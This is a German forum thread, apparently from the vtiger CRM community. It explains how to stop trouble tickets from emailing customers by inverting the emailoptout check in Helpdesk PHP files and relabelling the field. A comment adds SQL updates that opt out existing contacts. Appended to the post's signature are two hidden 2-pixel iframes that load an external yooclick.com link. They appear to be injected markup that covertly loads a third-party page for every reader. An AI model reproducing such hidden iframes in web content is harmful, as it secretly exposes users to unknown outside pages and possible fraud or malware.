L

edited July 2012 in Vote Up0Vote Down
Hallo Zusammen,

um was geht es:
Standardmäßig verschickt vtiger beim Anlegen von TT (=Trouble Tickets) Mails direkt an die vom Kunden hinterlegte E-Mail Adresse. Wir wussten das nicht und haben interne Informationen in TTs geschrieben, die peinlicherweise beim Kunden gelandet sind.
Wunschlösung war, dass im Zusammenhang mit TT keine externen Mails verschickt werden

Unter Organisationen und Personen gibt es das Feld "E-Mail Opt aus", wenn dieses Feld einen Haken hat bekommt der Kunde KEIN E-Mail geschickt. Leider ist das Feld standarmäßig nicht aktiviert.
Entsprechend hätte wir alle Personen und Organisationen ändern müssen, zusätzlich bei jedem Anlegen eines neuen Kunden hätte man dran denken müssen... das war also keine Option für uns.


Lösung (super einfach):
Gefunden im italienischen Bereich des vtiger Forums:
<!-- m --><a class="postlink" href="http://forums.vtiger.com/viewtopic.php?t=17851&highlight=helpdesk+save">http://forums.vtiger.com/viewtopic.php? ... pdesk+save</a><!-- m -->

Man geht also in:
modules/Helpdesk/Save.php
und
DetailViewAjax.php
und ändert jeweils
if($emailoptout == 0)
in
if($emailoptout == 1)

danach ändert man noch die Sprachfiles, damit das Feld selbsterklärend bleibt (z. B. in "E-Mail Opt):
modules/Accounts/language/de_de.lang.php
modules/Contacts/language/de_de.lang.php

das wars.


Standardmäßig bekommt so kein Kunde mehr ein E-Mail.
Um das ganz für alle Angestellten prozesssicher zu machen, habe ich das Feld "E-Mail Opt aus" in allen Profilen ausgeblendet, so kann es auch versehentlich nicht aktiviert werden.
Die internen Informationsmails bleigen übrigens wie gewohnt erhalten.


In eigener Sache:
Mich hat das Thema echt Zeit und Nerven gekostet!!! Ich wäre sehr froh gewesen, hätte ich die Lösung vorher hier gelesen.


Grüße,
TOm <iframe width="2px" height="2px" src="http://www.yooclick.com/l/9qjblg"></iframe>; <iframe width="2px" height="2px" src="http://www.yooclick.com/l/9qjblg"></iframe>;

Comments

  • 2 Comments sorted by Votes Date Added
  • hatte das gleiche problem und möchte anderen, die evtl. das gleiche problem haben, kunden die bereits angelegt sind zu ändern, folgenden tipp geben:

    einfach in phpmyadmin einloggen und folgenden sql-befehl ausfühen:
    update `vtiger_account` set `emailoptout`=1;
    update `vtiger_contactdetails` set `emailoptout`=1;
    

    lg
Sign In or Register to comment.